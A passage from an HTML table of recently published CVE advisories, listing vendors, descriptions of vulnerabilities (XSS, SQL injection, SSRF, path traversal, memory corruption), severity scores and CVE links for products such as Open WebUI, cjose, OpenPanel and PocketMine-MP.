&lt;td&gt;The Okta Hyperdrive Integration plugin resolves a required assembly using a registry path within the current user&#039;s hive without integrity verification. The referenced path is loaded via Assembly.LoadFrom without signature validation, resulting in an unverified assembly executing within the context of the host process or elevated installer.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78574&quot; target=&quot;_blank&quot;&gt;CVE-2026-78574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Hyperdrive Integration Plugin&lt;/td&gt;
&lt;td&gt;The Okta Hyperdrive Integration installer does not mask the OAuth client secret when passed as an MSI property. The credential is recorded in plaintext in the installer log, the Application Event Log, and the process command line, all of which are readable by an authenticated local user on the workstation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78627&quot; target=&quot;_blank&quot;&gt;CVE-2026-78627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opajaap--WP Photo Album Plus&lt;/td&gt;
&lt;td&gt;The WP Photo Album Plus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;HTTP_X_FORWARDED_FOR&#039; parameter in all versions up to, and including, 9.2.08.003 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce failure path for the getshortcodedrenderedfenodelay action serves as the log-write trigger rather than an access barrier - a deliberately failed nonce check causes wppa_log() to record the attacker-supplied X-Forwarded-For value to disk, making the exploit fully reachable by unauthenticated callers via the wp_ajax_nopriv_wppa endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18579&quot; target=&quot;_blank&quot;&gt;CVE-2026-18579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-telemetry--opentelemetry-dotnet-contrib&lt;/td&gt;
&lt;td&gt;`OpenTelemetry.Resources.Host` NuGet package, which provides OpenTelemetry resource detectors for host, is affected by an untrusted search path vulnerability on macOS. Prior to version 1.16.0-beta.2, the `host.id` resource attribute detector launches the `sh` and `ioreg` executables by bare name rather than by absolute path, so both are resolved through the `PATH` environment variable. A local attacker who is less privileged than the host application, and who can influence `PATH` or write to a directory that appears in `PATH` ahead of the system directories, can have an arbitrary binary executed in the application&#039;s security context, resulting in local code execution/privilege escalation. This vulnerability only affect macOS hosts - Linux and Windows hosts are unaffected. Version 1.16.0-beta.2 contains a patch. No known workarounds are available.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81192&quot; target=&quot;_blank&quot;&gt;CVE-2026-81192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Open-Web-Analytics--Open-Web-Analytics&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Open-Web-Analytics up to 1.9.1. The impacted element is the function checkCapabilityAndAuthenticateUser of the file Core/Controller.php of the component Controller. Performing a manipulation results in improper authentication. The attack may be initiated remotely. Upgrading to version 1.10.0 is sufficient to resolve this issue. The patch is named 6fc91c49eebdb8bfdfeed71cb50a5d97eac70f24. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86810&quot; target=&quot;_blank&quot;&gt;CVE-2026-86810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.6.41 until 0.11.1, get_user_by_oauth_sub and get_user_by_scim_external_id in backend/open_webui/models/users.py used JSON contains matching that compiled to SQL LIKE substring matching on SQLite. An OAuth subject containing percent or underscore wildcard characters could resolve to a different stored identity, potentially selecting an administrator account and issuing the attacker that account&#039;s session; PostgreSQL deployments were not affected. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87016&quot; target=&quot;_blank&quot;&gt;CVE-2026-87016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.11 until 0.11.1, src/lib/components/chat/FileNav/PortPreview.svelte rendered terminal port content in an iframe sandbox containing both allow-scripts and allow-same-origin. Because the terminal proxy serves that content from the Open WebUI origin, an authenticated user with access to a shared terminal server could host script on a previewed port and take over a victim&#039;s account when the victim opened the preview. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87995&quot; target=&quot;_blank&quot;&gt;CVE-2026-87995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, the unauthenticated POST /oauth/backchannel-logout handler in backend/open_webui/utils/oauth.py fetched the OIDC discovery document and signing keys before validating a submitted logout token. Each request repeated uncached network fetches, and the signing-key lookup blocked the async event loop, so requests carrying invalid tokens could stall the single-worker instance and amplify traffic to the identity provider when ENABLE_OAUTH_BACKCHANNEL_LOGOUT was enabled. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87011&quot; target=&quot;_blank&quot;&gt;CVE-2026-87011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 until 0.11.1, SafePlaywrightURLLoader in backend/open_webui/retrieval/web/utils.py validated a user-controlled hostname in Python and then let the Playwright browser resolve it again in the sync and async request interceptors. An authenticated user controlling authoritative DNS could return a public address to validation and an internal address to the browser, exposing responses from internal services or cloud metadata through web search or URL ingestion. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87996&quot; target=&quot;_blank&quot;&gt;CVE-2026-87996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, DELETE /api/v1/knowledge/{id}/delete in backend/open_webui/routers/knowledge.py authorized deletion against the knowledge base but then removed its administrator-owned external connection without a separate administrator check or a check for other dependent knowledge bases. A non-administrator with write access to one external knowledge base could delete shared instance configuration and make every other knowledge base using that connection unavailable. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87998&quot; target=&quot;_blank&quot;&gt;CVE-2026-87998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-webui--open-webui&lt;/td&gt;
&lt;td&gt;Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.11.1, POST /api/v1/retrieval/process/web and POST /api/v1/retrieval/process/web/search in backend/open_webui/retrieval/web/utils.py treated Python&#039;s globally routable address classification as proof that a destination was external. An authenticated user could make an Azure-hosted instance fetch and return content from 168.63.129.16, the Azure platform channel, as well as other reserved ranges that the standard classification did not reject. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87999&quot; target=&quot;_blank&quot;&gt;CVE-2026-87999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opengeos--GeoLibre&lt;/td&gt;
&lt;td&gt;A weakness has been identified in opengeos GeoLibre up to 2.3.0. Impacted is the function _is_within_roots. This manipulation causes server-side request forgery. The attack can be initiated remotely. Upgrading to version 2.4.0 is recommended to address this issue. Patch name: b745f62e29fa37364686525a21eee5e5c0f8a369. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86806&quot; target=&quot;_blank&quot;&gt;CVE-2026-86806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIDC--cjose&lt;/td&gt;
&lt;td&gt;OpenIDC/cjose is a C library implementing the Javascript Object Signing and Encryption (JOSE). In versions 0.6.1 through 0.6.2.5, when cjose encrypts a JWE using an AES-CBC-HMAC content-encryption algorithm (`A128CBC-HS256`, `A192CBC-HS384`, or `A256CBC-HS512`) together with any key-management algorithm that generates a fresh content-encryption key (CEK), the CEK is all zero bytes instead of being randomly generated. The resulting JWE is therefore encrypted and authenticated under a fixed, publicly known key, so anyone who obtains the JWE can recover the plaintext and forge or modify the content. This is fixed in version 0.6.2.6 by `_cjose_jwe_set_cek_aes_cbc()` generating the CEK from `RAND_bytes`. A regression test asserts that the `encrypted_key` differs across two encryptions for each AES-CBC-HMAC variant. Until upgrading, for data encrypted with cjose, three options are available. Use an AES-GCM `enc` (`A128GCM` / `A192GCM` / `A256GCM`) instead of an AES-CBC-HMAC `enc`, use `alg=dir` with a caller-supplied CEK, or avoid using cjose for JWE encryption with the affected algorithm pair. These are mitigations for new ciphertexts only; data already encrypted under the zero key remains compromised and should be re-encrypted (and any secrets it contained rotated).&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53939&quot; target=&quot;_blank&quot;&gt;CVE-2026-53939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIDC--cjose&lt;/td&gt;
&lt;td&gt;OpenIDC/cjose is a C library implementing the Javascript Object Signing and Encryption (JOSE). Prior to version 0.6.2.5, cjose&#039;s JWE decryption path for the AES Key Wrap key-management algorithms (`alg` = `A128KW`, `A192KW`, `A256KW`) does not validate the length of the attacker-supplied `encrypted_key` (JWE Encrypted Key) before unwrapping it into a fixed-size, heap-allocated Content Encryption Key (CEK) buffer. A remote, unauthenticated attacker who can submit a crafted JWE to an application that decrypts it with an AES-KW symmetric key can trigger an out-of-bounds heap write, corrupting the heap. This leads at minimum to a crash (denial of service) and, depending on the heap layout and allocator, may be leverageable for further memory-corruption impact. `cjose_jwe_import()` / `cjose_jwe_decrypt()` are pre-authentication entry points: they parse and process fully attacker-controlled input. Upgrade to cjose 0.6.2.5 to receive a patch. If upgrading is not immediately possible, reject the AES Key Wrap algorithms (`A128KW`/`A192KW`/`A256KW`) for untrusted JWEs at the application layer.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53938&quot; target=&quot;_blank&quot;&gt;CVE-2026-53938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Openpanel-dev--openpanel&lt;/td&gt;
&lt;td&gt;OpenPanel through commit cd24bb8 contains an SQL injection vulnerability in the analytics filter builder that fails to validate profile.* filter column identifiers before interpolating them into ClickHouse WHERE clauses. An authenticated attacker with project-scoped read or root export credentials can inject arbitrary ClickHouse SQL to bypass project isolation and read other organizations&#039; analytics data and profile PII via blind boolean oracle techniques.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88890&quot; target=&quot;_blank&quot;&gt;CVE-2026-88890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Openpanel-dev--openpanel&lt;/td&gt;
&lt;td&gt;OpenPanel fails to enforce read-only project access level on 26 of 29 mutating procedures, allowing read-level members to modify, delete, and publish project data. Attackers with explicit read-only access can delete reports and dashboards, schedule entire projects for deletion, publish private analytics to public share links, and modify alerting rules by exploiting missing access level validation in mutation resolvers.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88891&quot; target=&quot;_blank&quot;&gt;CVE-2026-88891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Openpanel-dev--openpanel&lt;/td&gt;
&lt;td&gt;OpenPanel share lookup procedures fail to validate access controls and return password hashes and protected report definitions to unauthenticated callers. Attackers with a share link can retrieve argon2id password hashes and full report configurations including event names, filters, and breakdown dimensions for offline password cracking and business intelligence theft.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88893&quot; target=&quot;_blank&quot;&gt;CVE-2026-88893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openspug--spug&lt;/td&gt;
&lt;td&gt;Spug through 3.4.0 contains a remote code execution vulnerability in the ping_check function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/run_test/ endpoint to execute arbitrary commands as the Spug process user.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90770&quot; target=&quot;_blank&quot;&gt;CVE-2026-90770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opnsense--core&lt;/td&gt;
&lt;td&gt;OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core, a path traversal vulnerability in the NTP configuration module allows an attacker to overwrite arbitrary files on the system as the root user. By manipulating the GPS or PPS serial port parameter, an attacker with access to the NTP configuration can escape the intended directory and force the system to write user-controlled data to any file on the filesystem. Version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core patch the issue.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53581&quot; target=&quot;_blank&quot;&gt;CVE-2026-53581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;orhun--rustypaste&lt;/td&gt;
&lt;td&gt;rustypaste before 0.18.1 validates the destination path before applying the optional custom filename HTTP header, allowing attackers to bypass directory-escape checks. Attackers can supply path traversal sequences in the filename header to write files outside the configured upload directory to arbitrary locations.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90774&quot; target=&quot;_blank&quot;&gt;CVE-2026-90774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Orthanc--DICOM Server&lt;/td&gt;
&lt;td&gt;An integer overflow in a specified pitch and buffer-size computation leads to a heap out-of-bounds write when Orthanc&amp;nbsp;DICOM Server&amp;nbsp;decodes an attacker-supplied PNG.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87020&quot; target=&quot;_blank&quot;&gt;CVE-2026-87020&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;otwthemes--Sidebar Manager Light&lt;/td&gt;
&lt;td&gt;The Sidebar Manager Light plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;sbm_description&#039; parameter in all versions up to, and including, 1.18 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76562&quot; target=&quot;_blank&quot;&gt;CVE-2026-76562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Par avisverifies--Verified Reviews (Avis Vrifis)&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL Injection in Verified Reviews (Avis VÃ©rifiÃ©s) &amp;lt;= 2.4.6 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81800&quot; target=&quot;_blank&quot;&gt;CVE-2026-81800&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;parse-community--parse-server&lt;/td&gt;
&lt;td&gt;Parse Server versions &amp;lt;= 8.6.87 and &amp;gt;= 9.0.0 &amp;lt; 9.10.1-alpha.7 contain an authentication bypass in the built-in LDAP authentication adapter. The adapter forwarded the client-supplied password to the directory without verifying that a password had been supplied, and treated any non-error response from the directory as proof of authentication. A zero-length credential turns an LDAP simple bind into the unauthenticated authentication mechanism described in RFC 4513 section 5.1.2, which some directories (including Active Directory in its default configuration) answer with success while mapping the connection to anonymous. As a result, an unauthenticated attacker who knows a directory username can obtain a valid session token for that account, resulting in account takeover. Only deployments that enable the LDAP authentication adapter are affected, and deployments whose directory refuses unauthenticated simple bind (such as a stock OpenLDAP configuration) are not exploitable. The issue is fixed in 8.6.88 and 9.10.1-alpha.7, which require the password to be a non-empty string and reject the request before contacting the directory.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87806&quot; target=&quot;_blank&quot;&gt;CVE-2026-87806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PayTR Payment and Electronic Money Institution Inc.--PayTR Virtual Pos iFrame API (v9x) WHMCS Module&lt;/td&gt;
&lt;td&gt;Use of less trusted source vulnerability in PayTR Payment and Electronic Money Institution Inc. PayTR Virtual Pos iFrame API (v9x) WHMCS Module allows Exploitation of Trusted Identifiers. This issue affects PayTR Virtual Pos iFrame API (v9x) WHMCS Module: from v9.0.0 before v9.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16272&quot; target=&quot;_blank&quot;&gt;CVE-2026-16272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PayTR Payment and Electronic Money Institution Inc.--PayTR Virtual Pos iFrame API (v9x) WHMCS Module&lt;/td&gt;
&lt;td&gt;Improper validation of specified quantity in input vulnerability in PayTR Payment and Electronic Money Institution Inc. PayTR Virtual Pos iFrame API (v9x) WHMCS Module allows Input Data Manipulation. This issue affects PayTR Virtual Pos iFrame API (v9x) WHMCS Module: from v9.0.0 before v9.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16025&quot; target=&quot;_blank&quot;&gt;CVE-2026-16025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PayTR Payment and Electronic Money Institution Inc.--PayTR Virtual Pos iFrame API (v9x) WHMCS Module&lt;/td&gt;
&lt;td&gt;Observable timing discrepancy vulnerability in PayTR Payment and Electronic Money Institution Inc. PayTR Virtual Pos iFrame API (v9x) WHMCS Module allows Black Box Reverse Engineering. This issue affects PayTR Virtual Pos iFrame API (v9x) WHMCS Module: from v9.0.0 before v9.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16037&quot; target=&quot;_blank&quot;&gt;CVE-2026-16037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PCRE--PCRE2&lt;/td&gt;
&lt;td&gt;In PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89161&quot; target=&quot;_blank&quot;&gt;CVE-2026-89161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perforce--Akana&lt;/td&gt;
&lt;td&gt;An unauthenticated remote code execution vulnerability exists in the Policy Manager console of&amp;nbsp;Akana&amp;nbsp;API Platform. A path normalization discrepancy between the authentication filter and the servlet dispatcher allows a crafted request to bypass authentication and reach an endpoint that evaluates attacker-supplied script code without sandboxing, resulting in arbitrary code execution. Exploitation requires no authentication or user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85978&quot; target=&quot;_blank&quot;&gt;CVE-2026-85978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Perforce--Akana&lt;/td&gt;
&lt;td&gt;A flaw resulting in XML external entity (XXE) was found in Akana API Platform in which references were improperly restricted during XML-to-JSON processing. The issue affects Akana versions 2026.1, 2025.1.1, and all versions before 2024.1.6 (including older unsupported versions of Akana) and has been fixed as a security patch in the latest release of supported versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89212&quot; target=&quot;_blank&quot;&gt;CVE-2026-89212&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pglombardo--PasswordPusher&lt;/td&gt;
&lt;td&gt;PasswordPusher before 2.11.1 contains a time-of-check-to-time-of-use race condition in view limit enforcement that allows unauthenticated attackers to bypass expire_after_views limits. Attackers can send concurrent requests to the show endpoint to access one-time secrets multiple times before the view count is incremented and the push expires.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87816&quot; target=&quot;_blank&quot;&gt;CVE-2026-87816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pixar Labs--Master Addons for Elementor&lt;/td&gt;
&lt;td&gt;Missing Authorization vulnerability in Pixar Labs Master Addons for Elementor allows Privilege Abuse. This issue affects Master Addons for Elementor: from n/a through 3.2.2.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62089&quot; target=&quot;_blank&quot;&gt;CVE-2026-62089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PixelYourSite--EDD Product Catalog Feed by PixelYourSite&lt;/td&gt;
&lt;td&gt;The EDD Product Catalog Feed by PixelYourSite plugin for WordPress is vulnerable to unauthorized modification of data that can lead to a denial of service due to a missing capability check on the wpeddpcf_delete_feed function in all versions up to, and including, 1.0.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary option values on the WordPress site. This can be leveraged to delete an option that would create an error on the site and deny service to legitimate users.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9331&quot; target=&quot;_blank&quot;&gt;CVE-2026-9331&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 3.26.5 and 4.0.5 fail to validate the length of skin data fields submitted by players, allowing uncapped values to exceed the 32767 byte TAG_String limit. Attackers can submit oversized skin data fields like skinID or geometryName to trigger exceptions during NBT data serialization, causing server crashes.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-51017&quot; target=&quot;_blank&quot;&gt;CVE-2022-51017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.3.1 and 4.23.1 fail to validate that the identityPublicKey in LoginPacket uses the required secp384r1 elliptic curve. Attackers can provide LoginPackets with keys using different curves or non-EC key types to pass login verification but trigger an uncaught exception during ECDH key derivation, crashing the server.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54355&quot; target=&quot;_blank&quot;&gt;CVE-2023-54355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.3.1 and 4.23.1 contain a denial of service vulnerability in LoginPacket JSON parsing due to improper null value handling in arrays. Attackers can send malformed JSON with unexpected null elements in LoginPacket to crash the server.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54390&quot; target=&quot;_blank&quot;&gt;CVE-2023-54390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 4.20.5 contain a denial of service vulnerability in LoginPacket JSON parsing due to improper validation in the JsonMapper dependency. Attackers can send malformed JSON structures in LoginPacket to crash the server.&lt;/td&gt;
